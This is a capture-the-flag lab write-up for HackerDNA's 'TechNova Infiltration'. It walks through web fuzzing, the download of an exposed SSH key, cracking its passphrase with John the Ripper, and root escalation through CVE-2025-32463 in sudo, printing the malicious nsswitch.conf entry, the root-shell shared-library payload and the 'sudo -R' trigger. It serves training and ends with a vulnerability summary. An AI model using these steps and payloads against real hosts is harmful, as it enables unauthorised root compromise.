

TechNova Infiltration

Date: 5/12/2026

Platform: HackerDNA

URL: <https://hackerdna.com/labs/technova-infiltration>

Objective

Perform external reconnaissance and service enumeration against the target host, identify exposed services, hidden assets, or developer mistakes.

Step 1: Initial Reconnaissance

Initial service discovery was performed against the target (using nmap):

```
nmap -Pn -sC -sV <TARGET_IP>
```

Results:

```
22/tcp open  ssh      OpenSSH 9.6p1 Ubuntu  
80/tcp open  http     nginx 1.24.0 (Ubuntu)  
7681/tcp open  unknown
```

Initial Observations:

The host exposed SSH publicly, suggesting possible:

- **credential attacks**
 - **exposed keys**
 - **developer access paths**
-

Suspicious Port 7681

An additional unidentified service was exposed on: **7681/tcp**

This port became an early investigation target due to:

- **unusual service behavior**

- **nonstandard port usage**
- **lack of clear identification from Nmap**

Additional probing revealed:

```
curl -i http://<TARGET_IP>:7681
```

Response:

```
HTTP/1.1 426 Upgrade Required  
Upgrade: websocket
```

This strongly suggested the service expected WebSocket connections.

Step 2: Web Enumeration

Directory Fuzzing

Performed content discovery against the web root:

```
ffuf -u http://<TARGET_IP>/FUZZ \  
-w /usr/share/dirb/wordlists/common.txt
```

Results:

```
/assets
```

Secondary Enumeration

Fuzzing inside /assets:

```
ffuf -u http://<TARGET_IP>/assets/FUZZ \  
-w /usr/share/dirb/wordlists/common.txt
```

Results:

```
/assets/backup
```

Step 3: Discovery of Exposed Credentials

Browsing to:

http://<TARGET_IP>/assets/backup/

revealed:

- **id_rsa**
- **id_rsa.pub**

The SSH private key was publicly accessible through the nginx web server.

Downloading the Key Files:

```
curl -O http://<TARGET_IP>/assets/backup/id_rsa  
curl -O http://<TARGET_IP>/assets/backup/id_rsa.pub
```

Permissions corrected locally:

```
chmod 600 id_rsa
```

Step 4: SSH Key Cracking

Converting Key Format

Used John the Ripper helper script:

```
python3 ssh2john.py id_rsa > hash.txt
```

Password Cracking

Executed:

```
john hash.txt --wordlist=<wordlist>
```

Recovered Passphrase:

138520831728772

The SSH private key passphrase was successfully cracked.

Step 5. Initial Access via SSH

Authenticated using:

- recovered private key
- cracked passphrase

ssh -i id_rsa devuser@<TARGET_IP>

Entered passphrase:

138520831728772

Successfully obtained shell access as:

devuser

Step 6. User Flag Discovery

Enumerated the user home directory:

ls -la

Discovered:

flag-user.txt

Retrieved flag:

cat flag-user.txt

Step 7. Internal Enumeration

Extensive Linux enumeration was performed after obtaining foothold access.

System Information

```
whoami  
id  
uname -a  
cat /etc/os-release
```

Sudo Enumeration

```
sudo -l  
sudo --version
```

Critical Finding: Sudo version 1.9.16p2

This version fell within the vulnerable range for:

CVE-2025-32463

Additionally, sudo supported:

```
-R / --chroot
```

SUID Enumeration

```
find / -perm -4000 -type f 2>/dev/null
```

No immediately exploitable SUID binaries were identified.

Writable Directory Enumeration

```
find / -writable -type d 2>/dev/null
```

No writable root-owned privilege escalation paths were identified.

Linux Capability Enumeration

getcap -r / 2>/dev/null

No exploitable capabilities were identified.

Cron Enumeration

ls -la /etc/cron*

No writable cron jobs or scheduled task abuse vectors were found.

Step 8. WebSocket / Port 7681 Investigation

After obtaining SSH access, further investigation of port 7681 was performed internally.

Service Enumeration

ss -tulpn

Confirmed listener:

10.x.x.x:7681 LISTEN

WebSocket Testing

Additional interaction attempts included:

- **curl**
- **nc**
- **websocat**
- **manual WebSocket upgrade headers**

Examples:

websocat ws://<TARGET_IP>:7681

and:

curl -i <http://127.0.0.1:7681>

Additional Investigation

Performed:

- **path fuzzing**
- **nginx configuration review**
- **supervisor inspection**
- **process enumeration**
- **localhost interaction testing**

No exploitable functionality or authentication bypasses were identified.

Assessment of Port 7681

The service appeared to be:

- **an unused internal WebSocket service**
- **a decoy enumeration path**
- **or an incomplete development service**

Although the service did not directly contribute to compromise, investigating and eliminating it as a viable attack vector demonstrated disciplined enumeration methodology.

Step 9. Vulnerability Correlation

At this stage:

- **standard Linux privilege escalation paths had been exhausted**
- **sudo version matched a known vulnerable release**
- **the challenge explicitly referenced:**
 - **CVE Exploitation**
 - **Privilege Escalation**

This strongly suggested the intended escalation path was:

CVE-2025-32463

Step 10. CVE-2025-32463 Research

A public proof-of-concept repository was identified:

<https://github.com/pevinkumar10/CVE-2025-32463>

The vulnerability abuses:

- **sudo -R**
- **malicious nsswitch.conf**
- **attacker-controlled NSS shared libraries**

to achieve arbitrary code execution as root.

Step 11. Exploit Preparation

Clone PoC Repository:

git clone <https://github.com/pevinkumar10/CVE-2025-32463.git>

Transfer Exploit to Target

scp -r -i ~/id_rsa CVE-2025-32463 devuser@<TARGET_IP>:/tmp

Step 12. Exploitation

SSH'd back into the target:

ssh -i ~/id_rsa devuser@<TARGET_IP>

Moved into exploit directory:


```
cd /tmp/CVE-2025-32463
```

Executed exploit:

```
python3 exploit.py
```

Step 13. Exploit Internals

The exploit performed the following actions:

Fake Chroot Creation

Created attacker-controlled filesystem:

```
/tmp/.../woot/
```

Malicious NSS Configuration

Created:

```
/etc/nsswitch.conf
```

containing:

```
passwd: /woot1337
```

This instructed NSS to load a custom provider.

Malicious Shared Library

Compiled:

```
woot1337.so.2
```

The payload constructor:

```
__attribute__((constructor))
```

executes automatically when the library loads.

Payload:

```
setreuid(0,0);  
setregid(0,0);  
execl("/bin/bash", "/bin/bash", NULL);
```

This spawns a root shell.

Vulnerable Trigger

The exploit executed:

```
sudo -R woot woot
```

Sudo:

- entered attacker-controlled chroot
 - loaded attacker-controlled NSS configuration
 - loaded malicious shared object as root
 - executed constructor
 - spawned root shell
-

Step 14. Root Access

Successful privilege escalation:

```
whoami
```

Result:

```
Root
```

Step 15. Root Flag Retrieval

Retrieved root flag:

```
cat /root/flag-root.txt
```

Vulnerabilities Identified

1. Public Exposure of Sensitive Credentials *(Critical Severity)*

Description

SSH private keys were publicly accessible through the nginx web root.

Impact

Allowed attackers to obtain SSH authentication material.

2. Weak SSH Key Passphrase *(High Severity)*

Description

The SSH private key passphrase was crackable using common password cracking techniques.

Impact

Enabled attackers to decrypt and use the private key.

2. Vulnerable sudo Version *(Critical Severity)*

Description

Sudo versions 1.9.14 – 1.9.17 are vulnerable to local privilege escalation through:

- sudo -R
- malicious NSS configuration loading

Impact

Allowed unprivileged local users to obtain root access.